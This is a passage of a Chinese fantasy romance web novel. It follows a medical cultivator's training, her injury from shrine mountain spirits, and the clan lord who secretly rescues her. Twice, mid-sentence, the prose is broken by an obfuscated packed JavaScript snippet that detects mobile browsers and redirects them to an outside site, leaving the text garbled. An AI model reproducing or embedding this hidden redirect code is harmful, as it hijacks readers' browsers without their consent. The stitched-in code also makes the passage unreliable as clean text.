这话倒是不错,东方曜虽修为不如她,但很扛得住打,且巫寻月这医疗系也不是白学的,自是会为他加持一些短效爆发的术法,有时两人打了一天也未能分出胜负。 巫寻月揪着朝黎的耳朵说:“要是你这个死丫头能有八重灵,我还用得着去找别人对打修炼吗?” “哎疼疼疼!”朝黎虽叫唤,却未躲开她,揶揄道,“不过我看东方曜如今长开了,也是学校里数一数二的美男,二年级的时候我就听说有女生给他写情书来着,你真的不考虑一下?” 这时巫寻月可要搬出慕丹青的台词来用一用了:“男人只会影响我拔刀的速度。” “你别呀,”朝黎缠着她不撒手,“你看,你帮了我和安瑜,妹妹我可也得提点提点你——听说东方曜前两年之所以没日没夜地刻苦修炼,都是因为你,一年级时你七重灵,他不过是个五重灵小儿,个子又矮,可不敢与你说话。二三年级时他又长个又变声的,便也一直躲着你,到了四年级,终于比你高了,可你一下升了九重灵,可把他吓坏了,自那以后他一日也不敢停歇,才有的如今八重灵。” 巫寻月一听,惊诧间也多了无措:“……真没有,我只当他弟弟……” 朝黎直截了当:“可他可不止当你姐姐。” 这事并未有什么后续,东方曜不主动说破,巫寻月自然也不会多嘴,她现在一心只有一个目的——修炼真灵境必杀技,为了实现于此,她什么都可以利用。 只是巫寻月这一辟谣,倒是让旁人瞧出了契机。巫寻月在校这五年与狄乐凰处境差不多,是男生们茶余闲谈、心向神往的首要,却也几无一人敢真心追求,狄乐凰多了郡主身份,就也多了些阿谀巴结,而巫寻月初来神都时,见她出身平凡不经世事,倒是有一些跃跃欲试之辈,可很快便知她与狄乐凰交好,能与郡主交好之人眼光又能低到哪去,便也纷纷铩羽而归了。 当然了,也有赖于如她守护神一般形影不离的慕丹青,她脾气爆不好惹,谁也不敢接近——除了枫若恒以外。 慕丹青出征前,巫寻月和狄乐凰前去送行,说笑间还提起了此事。狄乐凰说她和慕丹青可挡了巫寻月不少桃花,问她是否怪罪。巫寻月说:“若是真想来,挡也挡不住,能挡住的,便也是该挡住的。” “不得了,”狄乐凰惊叹道,“如此有禅意,你现在是个十足的医疗系灵师之相了。” 学医的确让巫寻月对许多世间之事茅塞顿开,从前看山是山,看云是云,而在尝百草、断百脉,读到见到太多生命绝境之时的挣扎之后,看山便不再只是山,看人也不再只是皮囊而已。她终于明白为何梅晏晷和桑川禾的眼神中总透着一种天神般的悲悯,原来那便是医者之心。于此而言,她没有后悔选择医疗系。 现如今,没了狄乐凰和慕丹青在旁,又得知巫寻月好与高修为者比试加以修炼,高年级的九重灵便也开始动了心思,陆陆续续来找她比试。 几场打下来,一个个引以为傲的优秀毕业生们得出了一个统一结论——巫寻月根本不是普通的九重灵,她的运灵能力、爆发强度、术法功力,都远超九重灵之能,普通人根本扛不过十招。 一日有人被打倒在地,惊愕之余,一语道破天机:“——你不会已经是真灵了吧?” 巫寻月笑而不语,一边施法为那人恢复体力。 五年级的日子过得还算有趣,六年级开学,巫寻月不再参与测灵——五年级时已不参与。惊喜倒是有一个,在巫寻月高强度训练下,东方曜已是半步九重灵,虽得待到七年级开学才再测量,但已然是板上钉钉。 六年级开学的第一件大事,就是慕丹青回来了。两年不长,她回来了巫寻月都还未毕业,可又如此漫长,巫寻月无时无刻不在想念她。 慕丹青回归当日,先是归队述职,又是回家沐浴更衣,吃父母准备的接风宴。到了快日落时,她就去了神都学宫。 当巫寻月在断崖秋风之中见到那一身橙黄色的纤长身影时——这是慕丹青最喜欢的颜色,她们二人初见的那场冲突里,她也正是穿着这颜色——她不自觉就汹涌泪下,飞奔过去紧抱住慕丹青,像个孩子一样嚎啕大哭。 慕丹青怎么哄也哄不好她,虽然心里高兴,可也不免有些担心,追问她是不是有什么事。巫寻月抱着她不肯放手,摇摇头,呜咽地说:“就是现在才明白过来,一到三年级有你在的时候,才是最美好的时候。” 是啊,她刚来学校的前三年,真是一段美好烂漫的时光啊,灵术世界的一切对她来说都是闻所未闻的惊喜,她还沉浸在自己无须担心毕业随便学学就好的沾沾自喜之中,每天跟着慕丹青瞎跑撒欢,无忧无虑,乐得自在。 那是从什么时候开始变了呢——三年级下学期,她终于知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797624|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了司城凛的真面目开始,她的内心和向往,从此彻彻底底改变了。 等她平静一些了,慕丹青又问:“那……乐凰离都也有快两年了,你可也有这么想她?她有没有回来看你?” 巫寻月都给气笑了,一把推开她,脸上眼泪鼻涕混着就开骂:“慕丹青你有病啊,你现在是有情郎的人,能不能不要吃别的女人的醋?” 是的,慕丹青和枫若恒在一起了,就在他们去边境不到半年的时候,慕丹青在给巫寻月的信中告知了她此事。 慕丹青理直气壮道:“跟这有什么关系?他是他,你是你,你们是两码事。” 巫寻月这才好好地端详了她一番,边关风沙苦寒,她消瘦了些,黑了不少,皮肤也显得干燥粗糙多了。巫寻月疼惜地抓住她的手,眼泪汪汪:“丹青,你现在看起来都不漂亮了……” 慕丹青一听,怒目而视,追着她就要打:“巫寻月!你说什么!别以为我打不过你!我这两年在边境可是一日也没闲着!” 夜色下,两人挽着手在校园里散步,就像从前下了课夜里无事那样。 慕丹青一如既往给她带来神都世族的八卦:“我今日归来述职,司城封座正在六部令府中与我伯父谈事情。” 巫寻月心头一颤,问:“……谈什么?” “封座大人们之间的事,轮不到我偷听,”慕丹青重点不在此,接着说,“我向司城封座问安,顺便问问迦染近日如何,你猜怎么着——她又跑到山海洲去了。” 巫寻月也觉着惊奇,道:“可我之前听说,她好像在家里帮着司城宗主打理事务,做得还不错,族老都夸她长进了不少呢。” 听她此言,更诧异的是慕丹青:“你怎么突然对司城家之事如此了解了?” “……”巫寻月这借口倒是没有纰漏,“司城宗主名动天下,继位之后所施行的改革之法风风火火,虽影响变动的是市井,可学校里有不少同学的家里也牵扯其中,自然是听了一些。” “这倒也是,司城封座继位后的新政恩威并济,一边建立威慑,一边收拢人心,这两年成效显著,我伯父也对他赞不绝口呢,”慕丹青压低了声,皱着眉说,“我伯父还跟我爹商量去向司城封座提亲,想我嫁给他……” “——啊?”巫寻月这一声惊叫,震走了路边几只宵明雀。 慕丹青忍不住捂起了耳朵:“巫寻月你有病啊?继位大典一见司城封座一见钟情念念不忘了你?” “不是,我只是……”巫寻月实在惊慌,都不知道找什么借口了。 索性慕丹青也不在意,继续说:“我比你先吓死了好吗,我就只好说我有相好了,是枫家二公子,我爹和我伯父一听,觉得也还不错。” 慕丹青下巴高翘,得意得很。原来她重点在这呢,哪还有心思在意巫寻月为何那么反常。巫寻月也为她高兴,笑得嘴都合不上了——她发誓她绝对没有庆幸的意思:“那枫若恒怎么说?可要去你家拜见你爹?” “自是要去的,可的确如你所言,边关环境恶劣,我俩都变难看了,现在断不能去,”慕丹青摸着自己的脸,眉头紧皱,“且得养一阵子,总不能让他老丈人见了诧异枫家二公子怎么长这个粗糙样子。” “哈哈哈哈哈——”巫寻月一顿爆笑。 慕丹青扯回了话题:“刚才说迦染呢——迦染是在家里帮了司城封座两年,现下局面慢慢稳定了,司城家族老与治下各处也都纷纷信服归拢,剩下的一些小麻烦,司城封座自是能处理好,迦染便辞行离家,奔山海洲去了。” 既是司城凛的亲妹妹,巫寻月自然也是多关注一些。她想起从前和朝黎讨论的那些话,随口一诌:“迦染郡主这么喜欢往山海洲跑,甚至是有些迫不及待了——你说她有没有可能是爱上了人族的什么人,所以一心回到他身边呢?” 却没想到,慕丹青一听,大惊失色,赶紧捂紧了她的嘴:“不要胡说!天听阁明令禁止与人族通婚,尤其是贵族,罪加一等,这要是判下来可是重罪!” 45. 第 45 章 45. 慕丹青神色惊惶,巫寻月就知事情不简单,好奇发问:“会判什么罪?” 慕丹青说:“按照衔级判革职至流放充作苦力不等,若是没有官身的贵族……贵族倒是并未明文说明,只写了罪加一等,不敢想那得多可怕,反正迄今为止,还从未有过先例。” “我看倒是未必,”巫寻月脑洞大开,说,“为何没有明文,说明若是贵族犯事——当然了我特指五大宗族,还是有些商量余地的,五大宗族权势滔天,若是真处决了什么重要的人,于神都于长隐洲都是局势不稳。” 这一次慕丹青倒是不否认了,反而还颇为赞许地说:“我看你现在不光有禅意,还颇有些政治见地了,若是待在十部令专研医疗都算委屈你了。” 巫寻月浅浅一笑,没多说。她一个偏远边城来的小女孩,的确本不关心这些,于宏观之势她只是一阶蜉蝣,怎敢妄论,灵族高层风云变化,可终究这把火怎么也烧不到邬戍这样的边陲小城,那里的人们安居乐业了数千年,宗门兴衰,边境战火,什么也没能真的扰动他们的偏安一隅,神都于他们而言,终归太遥远。 可现在不一样了,谁让她心爱之人,就在这风云正中,手执天命,一定乾坤。 巫寻月在无数个夜里为自己的不自量力而自嘲,可天亮醒来,深夜那些胡思乱想就都一扫而空了,她只是如常地梳妆更衣,去练功场,只为朝自己的目标更进一步。 六年级开学之后的第二件事,便是七年级有一学长来找巫寻月来得勤了些。 他叫边洵,神都世族,虽是强攻系,但在本届毕业生中综合排名第一,也为非一般九重灵高手,巫寻月正缺如此一位强攻系对手,怎舍得不应战。 直到一日,慕学文跑来告诉她,东方曜昨日找边洵学长打起来了,已打了一天一夜还未分胜负,两人皆有负伤,可到现在还没有停战的迹象。 慕学文是东方曜舍友,这厮年幼时心高气傲,有点灵力就张狂得很,被姐姐慕丹青训了几年,收敛多了,也越发明事理,修为虽比不上姐姐,可也未给家里拖后腿。 巫寻月一听这事,决定先装傻——她也该装傻:“人家好好的切磋修炼,能打这么久说明耐力体力皆有所提升,是好事啊。” “装什么傻?”慕学文知道她与慕丹青要好,便也对她如对亲姐般没大没小,“你明知东方曜是为你去的。” “慕学文,说话注意点,这话不能乱说。” 慕学文有些气愤,厉声问:“这么说你是不管了?” 巫寻月是真不想惹这无妄之灾,不论是谁打着为她的名义约战,到底与她何干?还要她如何?她淡淡道:“有事找老师去,若是受了伤,自有校医处理。” 慕学文气急了:“我回去告诉我姐去!” “你自去,看是你挨打还是我挨打。” 慕学文愤愤离去了,到了黄昏时分,朝黎也过来了。她七拐八绕的,也很为难:“我知此事与你无关,换做是我,我也不稀得理会,可是……老师也劝过了,还给他俩治了伤,老师前脚刚走,他俩后脚又打起来了,怕老师拦着,这会就打到司城宗祠那边去了,这两人明显实力相当难分胜负,万一这么打下去不慎砸坏司城宗祠,这可不止是学校治罪了……” 朝黎虽是无心,却歪打正着戳她心窝上了,万一司城凛知道了……那她不丢死人了? 暮色间,一道窈窕倩影自问心阁腾空,转眼就落在了对面宗祠的山头。那两人好歹也是九重灵,瞬移速度够快,巫寻月一番苦找,才在往山上去的小道上找到了打斗痕迹。 远远见到他们二人时,她正好看见边洵挥刀一劈,刀魂破空猛进,带着他强劲的灵压袭向东方曜,东方曜闪身一避,待他身影躲开,边洵才看清他身后竟是司城宗祠正门,边洵惊惧交加,可已经来不及收刀了—— 就在刀魂抵达宗祠门楣之时,那两尊形似人参的山神当即现身,同时伸出一臂,挡住了正面袭来之力,刀魂在顷刻间崩碎瓦解。 边洵见到它们,最先反应过来:“不好!是司城宗祠山神!” 话音未落,两尊山神已怒目而视,身上的人参须突然无限伸长,杀气腾腾直奔他们二人,边洵与东方曜在惊惧间立刻转身逃离,却哪快得过如此高级灵兽,眨眼间便被根须缠身,举至空中,任凭他们徒劳挣扎,却只是越发痛苦。 两人叫喊之中,一道身影闪现山神正前,巫寻月单膝跪地,向山神躬身行礼道:“对不起山神大人!我等是神都学宫学生,今日为切磋术法到此,本无意冒犯司城宗祠,是我等无知小儿不懂事,忘山神大人海涵!” 两尊山神盛怒之下,哪还容她解释,一声长吟之后,两道长须往高抛起,作势就要将他们二人摔下。 巫寻月惊愕瞪眼——这么高摔下来,不死也得是重伤!时势不容她再犹豫,她当即起身运灵,数息后同时以双手出招,两道锋利流光从她手间蹿出,直射空中根须,如刀锋般平直利落将根须斩断——此为中级攻击类控术,劈空斩。 根须已断,两人急速下坠,巫寻月再出双手生成两道流光发散的银灰色缎带,将两人稳当接住,缓缓放在地面之上。 东方曜惊魂未定之于,更是惊愕地看向巫寻月,自言道:“这是高级防御类控术——月流裳!” 这的确是巫寻月自学的,她为什么会呢,还得感谢狄乐凰……狄乐凰说,言萧鹤封灵之夜,他狂欢之时热血沸腾,被她的吻撩拨了一下,便发疯般吻向了她,情起难抑,欲意灼灼,他右手甩出一道月流裳将两人合围其中,左手已在解她腰间系带…… 虽然巫寻月实在难以将讲述中这个情难自已的男人与那个寡言冷峻的言封座联系到一起,却让她记住了这个浪漫而唯美的术法——月流裳。狄乐凰说,当时她也不会,听说这术法很难,看似柔软如锦缎,却是坚实无比,难以击破——巧了,巫寻月偏爱的就是迎难而上。 眼下,两人皆被巫寻月使出的月流裳所震撼,边洵的表情如出一辙:“这……这多是有丰富实战经验的灵师才会用的,竟还……是同时出双手! 可当前局势不容他们多想了。山神见巫寻月竟有些战力,决然不再客气,一兽出一手,将一道浑厚杀招同时推向了她。 巫寻月余光察觉,迅速收回月流裳挡在自己身前。可惜了,纵使她天赋异禀,终究还只是个学生,断然敌不过两尊高级灵兽,在山神合力之下,月流裳被撕碎如屑,那杀气径直冲她身前—— 巫寻月定在那里,先是被猛地一撞,短暂的剧痛后便麻木了,只觉得那道杀气穿胸而过,有那么一瞬间仿佛灵魂剥离,神识全无,什么也听不见,什么也看不见了。 那杀气贯穿后离开了,隐约听到有人在喊她的名字,但她脑中阵阵轰鸣,血腥味直灌鼻腔,然后就这么不受控制地,喷出了一口鲜血。 “寻月——”两人一同呼喊她,却见她如灵魂出窍般麻木不闻。 巫寻月倒地之前,在空气中捕捉到了一丝熟悉的感觉……是灵压,是那股她最熟悉,也最陌生,最难忘,也最遥远的……灵压。 接着,她感觉自己掉入了一个宽厚的怀抱,一张熟悉又陌生的面孔出现在她近处,很近很近,她总觉得自己也这么近地见过这张脸,可神识涣散,她什么也看不清了…… 东方曜与边洵震惊地看着眼前突然出现的一道高大身影,那人一袭苍绿色劲装,巍峨如山,修竹孤直,瞬移之瞬息平稳,背后长发竟未有动,他左手环抱倒下的巫寻月,右手如抚摸轻风一般接住了山神袭来的二次攻击,五指一收,那杀气顷刻被碾碎了。 待两尊山神看清来人之貌,皆是一震,双双倒地跪下,埋首不起。 与此同时,东方曜与边洵也已看清了他,东方曜最先认出,目瞪口呆地喊:“——司城封座!” 司城凛收回右手,低头看向早已紧闭双眼的巫寻月,她嘴角挂血,面色发白,带有痛苦之色。司城凛眉间一紧,出手快速地为她封了几处穴位。 此时那两个男学生还在不远处叽叽喳喳:“司城封座!我们是神都学宫的学生,来此比试学艺,无意冒犯了山神大人!实在对不起!” “司城宗主,寻月也是为了救我们才不得不对山神大人出手的,还请您不要怪罪,一切责任都由我来扛!” “对,都是我的错,请您千万不要怪罪寻月啊!” 司城凛抬眸,一个冷眼直射过去,二人立时噤声。司城凛声线淡漠,却带着斩立决般的杀气,令人胆寒:“让一女子替你们挡刀,真是好本事。” 两人皆是脊背发凉,冷汗涔涔,还是东方曜先连连道歉:“对不起,是我不该……” 司城凛早已收回目光,轻轻将巫寻月横抱起来,冷冷留下一句:“去找梅见蹊。” 旋即,他便带着她消失在了暮色之中,如同他方才出现的那样,头发甚至没有一丝动弹。 眼前已空无一人,东方曜与边洵面面相觑,却无人敢忘司城凛的命令,立刻起身腾飞回了学校。 几分钟后,司城凛的身影就已出现在十余里外神都城的桑府之中,他甚至不叩门,不通报,以瞬移穿庭而过,来到了桑淮舟书房门 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然后她就来了,在她使出劈空斩之时,他已料到山神会出手,只是念她灵力低微不至太重——可她竟会使月流裳!他略有惊异,便多看了几眼,也就迟了那么几个呼吸,就已招致山神杀意。 司城凛紧握巫寻月的手,目不转睛地望着她,一别五六年,她比他记忆中的她出落得更为楚楚动人,却没想到,是这样的场景。 他再说了一声:“都怪我。” “——何事如此惊慌?”屋外传来了桑淮舟的声音,接着是他踏门而入的脚步声。 司城凛还未放开巫寻月的手,并不打算避讳,抬声时,语气却骤然清冷了些:“她被我家宗祠守门山神所伤,灵力崩坏,我已为她稳灵,剩下的还需劳烦你费心。” 桑淮舟先看了看两人相接的手——明白了,这个人他今晚就是不睡觉也得让她明天一早醒过来。 桑淮舟应:“好,我来看看。” 司城凛将巫寻月的手放下,起身给他让了位。 司城凛到门外等候了不久,梅见蹊就到了。他见司城凛面色难看得很,也是又为难又惭愧:“这……我已了解了事情原委,无知小儿为追女孩儿约架,您大人有大量,就别太计较了……我已通知下去明日就请他们二人家长到校,统统关禁闭!” “您家宗祠要是有个什么损坏,我负责给您修好吧?保证原样修好!” 司城凛一直未作声,梅见蹊也一直回避着,见他脸色越发可怖,直到最后才不得不说:“这……我虽作为老师看护失职,但她已经超九重灵了,且灵流浑厚,又勤勉修炼,那术法用起来是得心应手,在学校里已是无人能敌,反倒要担心别人与她比试时会被误伤了,我哪能想到……” 司城凛终于动了眼神,瞪向梅见蹊。 “……好好好,我错了我错了,”梅见蹊立马认怂,却忍不住咕哝,“不是你自己女人自己不看着赖我干嘛呢?” 此时过来的侍女解救了梅见蹊,报:“司城宗主,梅世子,我家世子请二位过去。” 两人一同走到榻前,司城凛见到巫寻月面上痛意已消,面色舒展,看起来好些了。桑淮舟抬头对他们说:“伤势不算小,但也不至落下什么后患,需得多将养几日,我已为她重塑灵流,现已运转如常,内伤还需用药调理,也已吩咐下人去备药了,明日该是能醒过来。” 司城凛先开了口,向桑淮舟微微颔首:“有劳你了。” 桑淮舟看向他,眉头一挑,道:“这点伤其实不至要我出手,自你为家主之后,倒是许久不见你如此谦卑了——你和寻月……” 桑淮舟给司城凛留白,却不见他有作答的打算,还是梅见蹊过来搭了腔:“别问,问就是此事天知地知,你知我知——他自己装不知。” 桑淮舟莫名其妙地看着梅见蹊,领会不到他一点意思。还是司城凛自己开了口:“此事应为神都学宫之责,之后便交由梅世子接管,我只是偶然路过相送,等她醒后……不必提及我。” 桑淮舟这下是明白了,却更莫名其妙地看向司城凛。 梅见蹊见司城凛没有要走的意思,立马又顿悟了,清了清嗓子,说:“桑世子,寻月之后还得由学校照料,有什么需要交代的,咱们移步外面细说?” “——噢,”桑淮舟笑了笑,站起了身,却说,“你先出去吧,我有几句话要交代司城宗主。” 等梅见蹊离了场,桑淮舟才对司城凛说:“你知道她已是真灵了吗?” 46. 第 46 章 46. 听到此言,司城凛面色未改,无波无澜。他怎会不知,方才他为她断出此脉时,已然有过惊异。 见他此状,桑淮舟有答案了,便说:“噢,你知道就好,既是真灵,我用药需得下些猛药,怕你看了方子会有异议……我总得告知家属清楚不是。” 最后一句纯属桑淮舟调皮,桑淮舟谨慎地观察司城凛的神情,却未见他有异。司城凛开口时,仍是面无表情:“我知道桑宗主一向关心她的修炼,可这件事,还望你不要告知桑宗主。” 桑淮舟问:“你是指她受伤,还是指她已是真灵?” “都是。” “所以你早知我父亲不在家中?”桑淮舟打趣一句,随后又皱眉,“可为什么呢?若是父亲尽早知道,也好早些为她筹谋针对性的修炼之法,于她是有益的。” 司城凛淡淡道:“她不想说。” “你怎知她不想说?”桑淮舟等了一会儿,才醒悟自己问了句废话,摆摆手,道,“好好好,你们心有灵犀,怪我多嘴。” 桑淮舟走了,独留司城凛在此,自然,也还有软塌上昏迷未醒之人。他在她身侧轻轻坐下,不知是怕扰她休息,还是怕被她发现,他当然不愿她如此受伤昏迷,可也觉得,能让他有机会这样安静地看着她,也很好。 上次见她已是一年多前,在她五年级的时候,那日课间,他去神都学宫找梅晏晷,不知她是没课还是翘课,他自山巅见她在后山独自练习遁术,虽以他的功力看来,她移行的身影如同慢动作般清晰可见,漏洞百出,可他也知道,这在神都学宫里已无人能望其项背。 再上一次,就是她四年级时,在十部令府门口一见。那时只匆匆见了她的侧颜和身影,他都来不及好好看看,一别三年,她的面容可有改变。 如今终是见了,与他记忆中那张脸着实有变,悄然褪去了女孩的痕迹,完完全全地变成了一个女人,眉不描而黛,唇不点而朱,即便双目紧闭,却也不掩媚骨天成,明艳不可方物。 他就这么好好地看着她,什么也没动,什么也没碰,却也仍愿这时间停止流转,驻足此刻。 第二日学校果真将东方曜和边洵的家长请了过来,两家父母一听孩子险些损毁司城宗祠,吓得魂都到阎王殿走了一圈,当着梅见蹊的面就是一顿暴打。但他们最终没去见校长,关一月禁闭这样的处分也显得不痛不痒了些,家长正后怕着,表示要到司城府去赔罪,梅见蹊也说不用了,司城宗主已知晓此事,并不怪罪。 如此低调轻轻带过,自然是事主不想声张了——难道司城凛会看着这事闹大,巫寻月的名字被推到那些家长面前,指不定这祸水就推她头上去了。 东方曜和边洵见梅见蹊全程不提巫寻月和司城凛的出现,心中大有疑问,可终归也未敢问出口,此事就变成了二人私斗引来山神攻击,两人逃走后怕生出事来,主动去告知了梅见蹊,全程无他人参与,也并非因他人而起。 可最先瞒不住的是朝黎。朝黎当然得着急了,是她说动了巫寻月前去相劝的,却见到东方曜灰头土脸地回来了,而巫寻月竟一去不归,一问起来东方曜竟还三缄其口。到底东方曜知道巫寻月受了重伤,有所担心,梅见蹊已私下告诉他人已在桑府医治,他心想朝黎终归可回桑府一探,便告知了她——未提司城凛。 朝黎当即回了桑府——还不忘先去一道慕府喊上慕丹青。 此刻两人正在巫寻月病房之中,今天已是第三日,她已经觉得好多了,能自如起身行走,只是体虚力弱,还得再多歇息几日。 慕丹青将携带的食盒打开,端出一碗甜羹,说:“这是我家中厨子做的锦带羹,还是热的,香甜浓郁,可祛除你近日汤药之苦,我已让桑家医者看过,可以吃的。” “好,”巫寻月拖长尾音,舒舒服服地向后一靠,“那我要你喂我。” “喂巫寻月,别太过分啊。” “那我不吃了。” 慕丹青翻着白眼,脸上却没一点嫌弃之色,最后还是惯着她:“好好好,念你生病,还得劳动本大小姐伺候你。” 巫寻月吃东西时,慕丹青看向紧闭的门窗,又说:“这窗外是一片莲池,桑府以灵养莲,常开不败,且繁茂艳丽,赏心悦目得很,可惜冬日紧闭门窗,若你日日躺在此处赏莲,大概是能更精神些。” 巫寻月笑了起来:“是啊,我自己活动时也会走到门口去赏莲,午间还搬了张椅子去那坐着呢,只是女使姐姐见了就要我回来,不准我吹风了。” “你啊还是好好躺着,我给你带了几本书,若是烦闷就读一读,都是闲书,读起来不费脑——可不许再看专业书了!” 两人聊了有一会儿都不见朝黎搭话,巫寻月看向她,见她正在边上一脸憋闷,揶揄道:“怎么了?你这才不在学校多久,就开始想迟安瑜了?” 朝黎回过神来,开口就暴露了:“谁想他了?我在想你好不好?” “想我什么?” “……” 虽说桑淮舟交代了下人若是巫寻月问起来,就说是梅见蹊送她来的,可理由给得潦草:“这是神都学宫之事,司城宗主原是顺便,不想过多参与。”下人自然不会违逆主上,于她面前都如此相告,可却也按捺不住私下议论。毕竟,那日司城凛如此急切鲁莽地闯入桑府,不顾半点礼仪,也未避讳所有人目光,总不能这每一个看见的人都不好奇不八卦啊。 朝黎昨日一到家中,就被拉着分享:“哎哎哎——你可知昨夜发生了何事!司城宗主怀抱着寻月小娘子过来寻医!世子说司城宗主不想声张,就说是梅世子送的,你可别往外说啊——啊不对!你和寻月小娘子是同学啊!天啊!” 真是感谢那人下意识将朝黎当成桑府的一部分,张嘴就原原本本地分享了,随后才想起她与巫寻月是同学,吓得大惊失色。 所以,朝黎已经憋了两天了。她之所以如此挣扎,是因为一边她觉得此事没什么大不了的,说出来还能让巫寻月高兴一番,一边自然是因为世子之命不可违——当然,因为她觉得这事没什么,所以即使违了也落不了什么怪罪。 朝黎是彻底想明白了,此事若是告诉巫寻月,并无一人有损,至于司城宗主——他大概只是做好事不想留名罢了,毕竟他孤傲威凛,此等小事不值一提! 面对巫寻月的提问,朝黎如梦初醒般一定,兴冲冲地道:“我决定了!我要告诉你!” 巫寻月和慕丹青疑惑相视,异口同声问:“什么啊?” 朝黎一下子蹲下来凑近二人,一股脑全说了出来:“——可憋死我了!寻月,你可知是谁送你来的桑府?不是梅老师!是司城宗主!” “——啊?”发出惊叫的是慕丹青。而巫寻月,只是怔怔地看着朝黎,如若石化。 朝黎要的就是这个气氛,继续说了下去:“正是如此!先是桑府中的姐姐告诉我的,后来我又去逼问东方曜,他这才说实话!前日那山神将你打伤之后,是司城宗主出现将你救下,送你来了桑府,桑府很多人都看见了,说司城宗主未叩门未递拜帖也未让人先通报一声,一路瞬移,眨眼之间就到了世子书房门口,见世子不在,立刻着人去请。” “竟是如此!”慕丹青膛目结舌,久久才反应过来,“那……那为什么要说是梅老师送的呢?” “我家世子说,是司城宗主交代的,此事他只是顺便帮忙,主要还是神都学宫之责,便不必要多提一嘴了,就连在东方曜父母面前也隐去了寻月和司城宗主,只说是他们二人为修炼比试呢。” “这也太……”慕丹青转向巫寻月,却才惊异于她的平静,“寻月?你听到了吗?人傻了?” 巫寻月轻轻眨眼,逼退眼底的泪光,深吸了口气,才回神一般开了口:“此事不提不止是为此,损坏司城宗祠是何等祸事,若是让东方曜他们父母知道司城宗主竟还亲眼所见,还不得吓死,都不知要如何罚他,必定得带他上门请罪。可毕竟只是学生私斗,小打小闹的,司城宗主该是不想小题大做,也便罢了。” 此言一出,两人如醍醐灌顶一般,皆是一脸佩服。慕丹青随后又说:“是啊,若说是因练功打斗,那还算是勤勉好进,要是这二人父母知道是因你而起……指不定为了护短要将你牵扯其中呢。” 巫寻月闻言,心头一震,方才抑制下去的泪意再度涌起,酸涩直冲她脑门,让她突然觉得头好痛。 ……原来,你竟是在意的这个。 朝黎还想说些什么,巫寻月出言夺了她的话,显得虚弱而疲惫:“我……有些累了,想睡一会儿。” “好,”慕丹青不忘问她,“晚上可想吃些什么?我让家里做好了给你带。” 朝黎忍不住鄙视了她:“我说慕大小姐,你寻月宝贝在我桑府中住着,自是不会亏待了她,难不成你慕府有的,我桑府还能做不出来?” “那怎可一样,寻月在此是客,总会不好意思的……” “好了好了,”巫寻月握住慕丹青的手,说,“我没什么胃口,晚上随便吃些就好,你们就先回去吧。” 两人这才起身,与她道别后离开了屋子。 门一带上,她的眼泪便再也控制不住地,汹涌而下了。 她就知道,她没忘,她一点也没忘,他的灵压,她怎会感觉错呢。即便当时意识全无,她也能感觉到自己被他抱紧,而在他带她遁形之时,她觉得完全就是如履平地,甚至以为他始终在原地没有移动。 他的怀抱太安稳,她就那样安心地昏睡了过去,后面之事的确不再知道,可当她第二天醒来寻找他的身影,得知的却是:“是梅家世子送您过来的……” 她如遭晴天霹雳,一边以为自己是否太过想念他出现了幻觉,而另一边,若真有一人将她带离,也断然不是梅见蹊。 还好,她终归是知晓了真相,他没能瞒住她。 巫寻月任由自己哭了很久很久,平静下来之后,轻轻自言道:“你不想让我知道,是不是你觉得……还不到时候。” 这是她唯一能让自己接受的答案,要她相信他如此为她全然不顾失仪,实际却如当日在十部令府门前那般对她无情,她做不到。 “好,”她苦笑一下,“那我会等,等我走得更近,等你……觉得该是时候。” 几日后,东方曜一听巫寻月返校,便主动前来她宿舍探望,只是男子不便进入,他只候在门口。之后是定雪莲出来告诉他:“寻月正休息,不便走动,说谢过你的好意,她已经没事了,要你不必挂怀。” 东方曜只好离去,他自知再来女生宿舍不太礼貌,便再去找迟安瑜打听他们课表,次日午间下课前赶到了那里。随后不久,竟见到边洵也到了。两人互视一眼,满是鄙夷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823110|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一言不发。 巫寻月出门见到这两人的时候,头都大了。一旁朝黎好心说:“这……要不要我帮你去跟他们说?” 巫寻月无奈叹气:“你们先走吧。” 所幸医疗系人少,很快课室前就只剩了他们三人。 边洵先一步上前,关切道:“寻月,我听说你昨日返校,伤可治好了?对不起我是想去看你,可梅老师说不准……” 东方曜站在离她稍远些的地方,向她躬身致歉道:“寻月,对不起,我没想到此事会牵连到你,害你如此重伤,我实在懊悔不已……” 巫寻月叹了口气,在她心底终归将他视作弟弟,忍不住就要说一番道理:“既如此,以后便不要乱找人比试,同学间切磋点到为止便好,是不是?” 话到此处,边洵站出来主动承认:“也是我较真,不过,终归是我与六年级学弟激战两日仍胜负未分,的确是我修炼不精,不过我也承认了,你可堪做我的对手。” 最后一句话,边洵看向东方曜,却一言激怒了他:“谁要与你做对手,你也配?” 边洵不是遮掩的人,索性开诚布公:“我是说,追求寻月的对手。” 东方曜哑口无言:“你——” 边洵掐断了他,出言质问道:“你敢说你不是喜欢她,才来找我一战的?” 东方曜不做声,而一边另一位当事人,只想找个地缝钻进去。巫寻月发现自己完全无法应付这种场合,前几年她是有疑惑自己怎么貌若天仙却无人追求,现在看来……她真想扇自己两巴掌。 “若你不敢说,我可敢,”边洵向前一步,一派泰然若定道,“从前我还以为你们二人早已互诉心意,担心此时介入有违道义,现在看来并非如此,我大可光明磊落了——寻月,我……” 